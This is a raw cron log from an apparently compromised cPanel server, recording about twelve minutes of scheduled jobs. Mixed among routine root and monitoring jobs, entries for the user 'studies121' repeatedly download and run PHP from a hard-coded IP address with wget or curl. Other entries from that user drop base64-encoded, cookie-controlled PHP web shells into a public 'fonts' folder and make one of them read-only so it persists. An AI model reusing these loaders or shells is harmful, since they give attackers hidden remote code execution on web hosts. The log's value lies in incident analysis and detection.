Sep 10 12:00:01 ip-184-168-122-23 CROND[852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:00:01 ip-184-168-122-23 CROND[851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:00:01 ip-184-168-122-23 CROND[853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:01:01 ip-184-168-122-23 CROND[1017]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 12:01:01 ip-184-168-122-23 CROND[1018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:01:01 ip-184-168-122-23 CROND[1020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:01:01 ip-184-168-122-23 CROND[1019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:01:01 ip-184-168-122-23 CROND[1021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:01:01 ip-184-168-122-23 CROND[1022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1017]: starting 0anacron
Sep 10 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1039]: finished 0anacron
Sep 10 12:02:01 ip-184-168-122-23 CROND[1180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:02:01 ip-184-168-122-23 CROND[1182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:02:01 ip-184-168-122-23 CROND[1183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:02:01 ip-184-168-122-23 CROND[1184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:02:01 ip-184-168-122-23 CROND[1186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:03:01 ip-184-168-122-23 CROND[1342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:03:01 ip-184-168-122-23 CROND[1345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:03:01 ip-184-168-122-23 CROND[1344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:03:01 ip-184-168-122-23 CROND[1343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:04:01 ip-184-168-122-23 CROND[1583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:04:01 ip-184-168-122-23 CROND[1589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:04:01 ip-184-168-122-23 CROND[1587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:04:01 ip-184-168-122-23 CROND[1588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:04:01 ip-184-168-122-23 CROND[1585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1897]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1905]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:05:01 ip-184-168-122-23 CROND[1908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:06:01 ip-184-168-122-23 CROND[2164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:06:01 ip-184-168-122-23 CROND[2166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:06:01 ip-184-168-122-23 CROND[2168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:06:01 ip-184-168-122-23 CROND[2171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:06:01 ip-184-168-122-23 CROND[2172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:07:01 ip-184-168-122-23 CROND[2554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:07:01 ip-184-168-122-23 CROND[2556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:07:01 ip-184-168-122-23 CROND[2558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:07:01 ip-184-168-122-23 CROND[2557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:08:01 ip-184-168-122-23 CROND[2817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:08:01 ip-184-168-122-23 CROND[2818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:08:01 ip-184-168-122-23 CROND[2819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:08:01 ip-184-168-122-23 CROND[2816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:08:01 ip-184-168-122-23 CROND[2820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:09:01 ip-184-168-122-23 CROND[3078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:09:01 ip-184-168-122-23 CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 12:09:01 ip-184-168-122-23 CROND[3081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:09:01 ip-184-168-122-23 CROND[3082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:09:01 ip-184-168-122-23 CROND[3083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:10:01 ip-184-168-122-23 CROND[3489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:10:01 ip-184-168-122-23 CROND[3486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:10:01 ip-184-168-122-23 CROND[3494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:11:01 ip-184-168-122-23 CROND[3681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:11:01 ip-184-168-122-23 CROND[3679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:11:01 ip-184-168-122-23 CROND[3678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:11:01 ip-184-168-122-23 CROND[3682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:12:01 ip-184-168-122-23 CROND[3967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:12:01 ip-184-168-122-23 CROND[3968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:12:01 ip-184-168-122-23 CROND[3971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:12:01 ip-184-168-122-23 CROND[3974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
